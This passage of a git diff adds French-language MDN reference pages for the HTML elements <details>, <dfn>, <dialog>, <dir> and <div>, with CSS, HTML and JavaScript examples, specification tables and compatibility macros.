+<pre class="brush: css; highlight:[12, 15-17]">details {
+  font: 16px "Open Sans", "Arial", sans-serif;
+  width: 620px;
+}
+
+details &gt; summary {
+  padding: 2px 6px;
+  width: 15em;
+  background-color: #ddd;
+  border: none;
+  box-shadow: 3px 3px 4px black;
+  list-style: none;
+}
+
+details &gt; summary::-webkit-details-marker {
+  display: none;
+}
+
+details &gt; p {
+  border-radius: 0 0 10px 10px;
+  background-color: #ddd;
+  padding: 2px 6px;
+  margin: 0;
+  box-shadow: 3px 3px 4px black;
+}
+</pre>
+
+<h4 id="HTML_5">HTML</h4>
+
+<pre class="brush: html">&lt;details&gt;
+  &lt;summary&gt;System Requirements&lt;/summary&gt;
+  &lt;p&gt;Requires a computer running an operating system. The computer
+  must have some memory and ideally some kind of long-term storage.
+  An input device as well as some form of output device is
+  recommended.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<h4 id="Résultat_5">Résultat</h4>
+
+<p>{{EmbedLiveSample("Personnaliser_le_marqueur_de_révélation", 650, 150)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, racine de section, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_interactif">contenu interactif</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td>Un élément {{HTMLElement("summary")}} suivi par du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Interface DOM</dfn></th>
+   <td>{{domxref("HTMLDetailsElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interactive-elements.html#the-details-element', '&lt;details&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'interactive-elements.html#the-details-element', '&lt;details&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.details")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("summary")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/dfn/index.html b/files/fr/web/html/element/dfn/index.html
new file mode 100644
index 0000000000..7ff128d4f2
--- /dev/null
+++ b/files/fr/web/html/element/dfn/index.html
@@ -0,0 +1,196 @@
+---
+title: '<dfn> : l''élément de définition'
+slug: Web/HTML/Element/dfn
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/dfn
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;dfn&gt;</code></strong> est utilisé afin d'indiquer le terme qui est en train d'être défini dans une phrase ou un paragraphe (sa définition est écrite dans son parent {{HTMLElement("p")}} ou {{HTMLElement("dt")}}/{{HTMLElement("dd")}} ou {{HTMLElement("section")}} le plus proche).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si cette phrase vous paraît absconse, n'hésitez pas à consulter les exemples ci-après.</p>
+</div>
+
+<p>Le rôle de l'élément <code>&lt;dfn&gt;</code> est purement sémantique.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dfn.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme pour tous les éléments, on peut appliquer <a href="/fr/docs/Web/HTML/Attributs_globaux">les attributs universels</a> sur <code>&lt;dfn&gt;</code>.</p>
+
+<p>Pour cet élément, l'attribut <code><strong>title</strong></code> possède un sens particulier noté ci-après.</p>
+
+<h2 id="Notes_d'utilisation"><strong>Notes d'utilisation :</strong></h2>
+
+<ul>
+ <li>L'élément <code>&lt;dfn&gt;</code> marque le terme étant défini. La définition du terme doit être donnée par l'élément {{HTMLElement("p")}}, ou {{HTMLElement("section")}} parent ou par un groupe de liste de définitions (généralement une paire {{HTMLElement("dt")}}, {{HTMLElement("dd")}}).</li>
+ <li>La valeur exacte du terme étant défini est déterminé par les règles suivantes :
+  <ol>
+   <li>Si l'élément <code>&lt;dfn&gt;</code> possède un attribut <code><strong>title</strong></code> alors le terme en question est la valeur de cet attribut. Dans ce cas, l'élément doit toujours contenir du texte mais ce dernier peut être une autre forme du terme (par exemple une abbréviation, auquel cas on utilisera un élément {{HTMLElement("abbr")}})</li>
+   <li>Sinon et s'il contient seulement un élément {{HTMLElement("abbr")}} avec l'attribut {{htmlattrxref("title", "abbr")}}, alors le terme en question est la valeur de cet attribut.</li>
+   <li>Dans tous les autres cas, le texte contenu par l'élément <code>&lt;dfn&gt;</code> est le terme qui est défini.</li>
+  </ol>
+ </li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Identification_simple_d’un_terme">Identification simple d’un terme</h3>
+
+<p>Dans cet exemple, on utilise simplement l'élément <code>&lt;dfn&gt;</code> afin d'identifier l'emplacement du terme défini au sein de sa définition.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  L'élément HTML de définition
+  (&lt;strong&gt;&lt;dfn&gt;&amp;lt;dfn&amp;gt;&lt;/dfn&gt;&lt;/strong&gt;) est
+  utilisé afin d'indiquer le terme en cours de
+  définition dans la phrase.
+&lt;/p&gt;</pre>
+
+<p>L'élément <code>&lt;dfn&gt;</code> n'ayant ici pas d'attribut <code>title</code>, c'est le contenu textuel qui représente le terme que l'on définit.</p>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Identification_simple_d’un_terme", 650, 120)}}</p>
+
+<h3 id="Liens_vers_des_définitions">Liens vers des définitions</h3>
+
+<p>Il est possible d'utiliser l'attribut <code>id</code> afin de créer des liens avec des éléments {{HTMLElement("a")}} qui pointent vers la définition.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;L'élément de définition
+(&lt;strong&gt;&lt;dfn id="definition-dfn"&gt;&amp;lt;dfn&amp;gt;&lt;/dfn&gt;&lt;/strong&gt;) est
+utilisé afin d'indiquer le terme en train d'être défini dans le
+contexte d'une phrase.&lt;/p&gt;
+
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Graece
+donan, Latine voluptatem vocant. Confecta res esset. Duo Reges:
+constructio interrete. Scrupulum, inquam, abeunti; &lt;/p&gt;
+
+&lt;p&gt;Negare non possum. Dat enim intervalla et relaxat. Quonam modo?
+Equidem e Cn. Quid de Pythagora? In schola desinis. &lt;/p&gt;
+
+&lt;p&gt;Ubi ut eam caperet aut quando? Cur iustitia laudatur? Aperiendum
+est igitur, quid sit voluptas; Quid enim? Non est igitur voluptas
+bonum. Urgent tamen et nihil remittunt. Quid enim possumus hoc
+agere divinius? &lt;/p&gt;
+
+&lt;p&gt;C'est pourquoi nous avons décidé d'utiliser l'élément
+&lt;code&gt;&lt;a href="#definition-dfn"&gt;&amp;lt;dfn&amp;gt;&lt;/a&gt;&lt;/code&gt; pour
+ce projet.&lt;/p&gt;</pre>
+
+<p>On voit ici que l'élément possède désormais un attribut {{htmlattrxref("id")}} avec la valeur <code>"definition-dfn"</code>. Cet attribut permet d'utiliser l'élément comme cible d'un lien. Plus bas, on crée un tel lien avec un élément {{HTMLElement("a")}} dont l'attribut {{htmlattrxref("href", "a")}} vaut <code>"#definition-dfn"</code>, ce qui permet de remonter à la définition.</p>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Liens_vers_des_définitions", 650, 300)}}</p>
+
+<h3 id="Combiner_les_abbréviations_et_les_définitions">Combiner les abbréviations et les définitions</h3>
+
+<p>Dans certains cas, on souhaite utiliser l'abbréviation d'un terme lorsqu'on le définit. Pour cela, on peut utiliser <code>&lt;dfn&gt;</code> et {{HTMLElement("abbr")}} de la façon suivante :</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;The &lt;dfn&gt;&lt;abbr title="Hubble Space Telescope"&gt;HST&lt;/abbr&gt;&lt;/dfn&gt;
+is among the most productive scientific instruments ever constructed.
+It has been in orbit for over 20 years, scanning the sky and
+returning data and photographs of unprecedented quality and
+detail.&lt;/p&gt;
+
+&lt;p&gt;Indeed, the &lt;abbr title="Hubble Space Telescope"&gt;HST&lt;/abbr&gt; has
+arguably done more to advance science than any device ever built.&lt;/p&gt;</pre>
+
+<p>On notera que l'élément <code>&lt;abbr&gt;</code> est imbriqué dans l'élément <code>&lt;dfn&gt;</code>. L'élément <code>&lt;abbr&gt;</code> indique que le terme est une abbréviation ("HST") et indique le détail de cette abbrévation ("Hubble Space Telescope") grâce à son attribut  <code>title</code>. L'élément <code>&lt;dfn&gt;</code> indique quant à lui que c'est bien ce terme abrégé qu'on est en train de définir.</p>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Combiner_les_abbréviations_et_les_définitions", 650, 200)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a> mais sans élément {{HTMLElement("dfn")}} qui soit un descendant.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Interface DOM</dfn></th>
+   <td>{{domxref("HTMLElement")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-dfn-element', '&lt;dfn&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-dfn-element', '&lt;dfn&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;dfn&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.dfn")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les éléments HTML en lien avec les listes de définitions :
+  <ul>
+   <li>{{HTMLElement("dl")}}</li>
+   <li>{{HTMLElement("dt")}}</li>
+   <li>{{HTMLElement("dd")}}</li>
+  </ul>
+ </li>
+ <li>{{HTMLElement("abbr")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/dialog/index.html b/files/fr/web/html/element/dialog/index.html
new file mode 100644
index 0000000000..e748648f51
--- /dev/null
+++ b/files/fr/web/html/element/dialog/index.html
@@ -0,0 +1,166 @@
+---
+title: '<dialog> : l''élément de boîte de dialogue'
+slug: Web/HTML/Element/dialog
+tags:
+  - Element
+  - Experimental
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/dialog
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <code><strong>&lt;dialog&gt;</strong></code> représente une boite de dialogue ou un composant interactif (par exemple un inspecteur ou une fenêtre).</p>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>. L'attribut <code>tabindex</code> ne doit pas être utilisé sur l'élément <code>&lt;dialog&gt;</code>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("open")}}</dt>
+ <dd>Cet attribut indique que la boîte de dialogue est active et peut être utilisée de façon interactive. Si l'attribut n'est pas renseigné, la boîte de dialogue ne doit pas être présentée à l'utilisateur.</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>L'élément <code>&lt;form&gt;</code> peut être intégré dans une boîte de dialogue en spécifiant l'attribut <code><code>method="dialog</code>"</code>. Lorsqu'un formulaire de ce type est envoyé, la boîte de dialogue est fermée avec un attribut  {{domxref("HTMLDialogElement.returnValue", "returnValue")}} mis à jour avec la valeur <code>value</code> du bouton d'envoi utilisé.</li>
+ <li>Le pseudo-élément CSS {{cssxref('::backdrop')}} peut être utilisé pour mettre en forme l'arrière plan d'un élément <code>&lt;dialog&gt;</code>. On peut par exemple estomper un contenu inaccessible pendant que la boîte de dialogue est active. Cette ombre portée est uniquement dessinée lorsque l'élément <code>&lt;dialog&gt;</code> est affiché via {{domxref("HTMLDialogElement.showModal()")}}.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;!-- Une boîte de dialogue qui contient un formulaire --&gt;
+&lt;dialog id="favDialog"&gt;
+  &lt;form method="dialog"&gt;
+    &lt;p&gt;&lt;label&gt;Animal préféré :
+      &lt;select&gt;
+        &lt;option&gt;&lt;/option&gt;
+        &lt;option&gt;Panda roux&lt;/option&gt;
+        &lt;option&gt;Macrotus&lt;/option&gt;
+        &lt;option&gt;Koala&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/label&gt;&lt;/p&gt;
+    &lt;menu&gt;
+      &lt;button value="cancel"&gt;Annuler&lt;/button&gt;
+      &lt;button id="confirmBtn" value="default"&gt;Confirmer&lt;/button&gt;
+    &lt;/menu&gt;
+  &lt;/form&gt;
+&lt;/dialog&gt;
+
+&lt;menu&gt;
+  &lt;button id="updateDetails"&gt;Mettre à jour les détails&lt;/button&gt;
+&lt;/menu&gt;
+
+&lt;output aria-live="polite"&gt;&lt;/output&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">(function() {
+  var updateButton = document.getElementById('updateDetails');
+  var favDialog = document.getElementById('favDialog');
+  var outputBox = document.getElementsByTagName('output')[0];
+  var selectEl = document.getElementsByTagName('select')[0];
+  var confirmBtn = document.getElementById('confirmBtn');
+
+  // Le bouton "mettre à jour les détails" ouvre la boîte de dialogue
+  updateButton.addEventListener('click', function onOpen() {
+    if (typeof favDialog.showModal === "function") {
+      favDialog.showModal();
+    } else {
+      console.error("L'API dialog n'est pas prise en charge par votre navigateur");
+    }
+  });
+  // Le champ "animal préféré" définit la valeur pour le bouton submit
+  selectEl.addEventListener('change', function onSelect(e) {
+    confirmBtn.value = selectEl.value;
+  });
+  // Le bouton "Confirmer" déclenche l'évènement "close" sur le dialog avec [method="dialog"]
+  favDialog.addEventListener('close', function onClose() {
+    outputBox.value = "Vous avez cliqué sur le bouton " + favDialog.returnValue + " !";
+  });
+})();
+
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","400","500")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document#Racines_de_sectionnement"> racine de sectionnement</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("alertdialog")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLDialogElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Cette prothèse peut être utilisée pour fournir un support pour les navigateurs : <a href="https://github.com/GoogleChrome/dialog-polyfill">dialog-polyfill</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-dialog-element', '&lt;dialog&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.2', 'interactive-elements.html#the-dialog-element', '&lt;dialog&gt;')}}</td>
+   <td>{{Spec2('HTML5.2')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.dialog")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'évènement {{event("close")}}</li>
+ <li>L'évènement {{event("cancel")}}</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires">Guide sur les formulaires HTML</a></li>
+ <li>Le pseudo-élément {{cssxref("::backdrop")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/dir/index.html b/files/fr/web/html/element/dir/index.html
new file mode 100644
index 0000000000..4b62a33fbf
--- /dev/null
+++ b/files/fr/web/html/element/dir/index.html
@@ -0,0 +1,58 @@
+---
+title: '<dir> : l''élément de répertoire (obsolète)'
+slug: Web/HTML/Element/dir
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/dir
+---
+<div>{{Obsolete_header}}{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;dir&gt;</code></strong> (pour <em>directory</em>) est utilisé comme un conteneur pour un répertoire (c'est-à-dire un ensemble de fichiers). Des styles et icônes peuvent être appliqués par l'agent utilisateur. Cet élément obsolète ne doit pas être utilisé, il peut être remplacé par l'élément {{HTMLElement("ul")}} qui permet de représenter des listes et, entre autres, des listes de fichiers.</p>
+
+<div class="note"><strong>Note d'utilisation : </strong>Cet élément ne doit pas être utilisé. Bien que présent dans les premières spécifications HTML, il a été déprécié dans HTML 4, et rendu obsolète avec HTML5. Il faudra privilégier l'élément {{HTMLElement("ul")}}. De plus, aucun navigateur majeur ne prend en charge cet élément.</div>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("HTMLDirectoryElement")}}.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme pour tous les autres éléments HTML, on peut utiliser <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a> sur cet élément.</p>
+
+<dl>
+ <dt>{{htmlattrdef("compact")}}</dt>
+ <dd>Cet attribut booléen indique que la liste doit être rendue avec un affichage compact. L'interprétation de cet attribut dépend de l'agent utilisateur. Il ne fonctionne pas dans tous les navigateurs.
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut ne doit pas être utilisé car il a été déprécié. L'élément {{HTMLElement("dir")}} doit être mis en forme en utilisant <a href="/fr/docs/Web/CSS">CSS</a>. Pour obtenir un effect visuel similaire à l'attribut <code>compact</code>, la propriété CSS {{cssxref("line-height")}} peut être utilisé avec la valeur <code>80%</code>.</div>
+ </dd>
+</dl>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.dir")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML utilisés pour les listes :
+  <ul>
+   <li>{{HTMLElement("ol")}}</li>
+   <li>{{HTMLElement("ul")}}</li>
+   <li>{{HTMLElement("li")}}</li>
+   <li>{{HTMLElement("menu")}}</li>
+  </ul>
+ </li>
+ <li>Les propriétés CSS qui peuvent être utilisées pour mettre en forme l'élément <code>&lt;dir&gt;</code> :
+  <ul>
+   <li>La propriété {{cssxref('list-style')}} est utile pour choisir l'apparence des puces.</li>
+   <li><a href="/fr/docs/Web/CSS/Compteurs_CSS">Les compteurs CSS</a> sont utiles pour gérer des listes imbriquées complexes.</li>
+   <li>La propriété {{cssxref('line-height')}} est utile pour reproduire l'attribut déprécié {{htmlattrxref("compact", "dir")}}.</li>
+   <li>La propriété {{cssxref('margin')}} est utile pour contrôler l'indentation de la liste.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/div/index.html b/files/fr/web/html/element/div/index.html
new file mode 100644
index 0000000000..b6371f8dda
--- /dev/null
+++ b/files/fr/web/html/element/div/index.html
@@ -0,0 +1,154 @@
+---
+title: '<div> : l''élément de division du contenu'
+slug: Web/HTML/Element/div
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/div
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;div&gt;</code></strong> (qui signifie <em>division du document</em>) est un conteneur générique qui permet d'organiser le contenu sans représenter rien de particulier. Il peut être utilisé afin de grouper d'autres éléments pour leur appliquer un style (en utilisant les attributs {{htmlattrxref("class")}} ou {{htmlattrxref("id")}}) ou parce qu'ils partagent des attributs aux valeurs communes, tel que {{htmlattrxref("lang")}}. Il doit uniquement être utilisé lorsqu'aucun autre élément sémantique (par exemple {{HTMLElement("article")}} ou {{HTMLElement("nav")}}) n'est approprié.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/div.html","tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément accepte <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> L'attribut <code><strong>align</strong></code> est désormais obsolète et ne doit plus être appliqué pour un <code>&lt;div&gt;</code>. On privilégiera l'utilisation des propriétés et outils CSS (tels que <a href="/fr/docs/Web/CSS/CSS_Grid_Layout">la grille CSS</a> ou <a href="/fr/docs/Glossaire/Flexbox">les boîtes flexibles (flexbox)</a>) pour aligner et positionner des éléments <code>&lt;div&gt;</code>.</p>
+</div>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>L'élément <code>&lt;div&gt;</code> doit uniquement être utilisé lorsqu'il n'existe aucun autre élément dont la sémantique permet de représenter le contenu (par exemple {{HTMLElement("article")}} ou {{HTMLElement("nav")}}).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Un_exemple_simple">Un exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p&gt;
+     Tout type de contenu. Par exemple
+     &amp;lt;p&amp;gt;, &amp;lt;table&amp;gt;. À vous
+     de voir&amp;nbsp;!
+  &lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Un_exemple_simple","200","200")}}</p>
+
+<h3 id="Un_exemple_mis_en_forme">Un exemple mis en forme</h3>
+
+<p>Cet exemple crée une boîte avec une ombre en appliquant la mise en forme via du CSS sur l'élément <code>&lt;div&gt;</code>. On notera l'utilisation de l'attribut {{htmlattrxref("class")}} sur l'élément <code>&lt;div&gt;</code>  afin d'appliquer la règle <code>"shadowbox"</code>.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div class="shadowbox"&gt;
+  &lt;p&gt;Voici un paragraphe très intéressant inscrit
+  dans une boîte avec une ombre.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.shadowbox {
+  width: 15em;
+  border: 1px solid #333;
+  box-shadow: 8px 8px 5px #444;
+  padding: 8px 12px;
+  background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc);
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Un_exemple_mis_en_forme", 650, 120)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>. Selon le WHATWG, si l'élément parent est un élément {{HTMLElement("dl")}}, un ou plusieurs éléments {{HTMLElement("dt")}} suivis par un ou plusieurs élément {{HTMLElement("dd")}} éventuellement entrecoupés par des éléments {{HTMLElement("script")}} ou {{HTMLElement("template")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément qui accepte un <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>. Selon le WHATWG, un élément {{HTMLElement("dl")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLDivElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
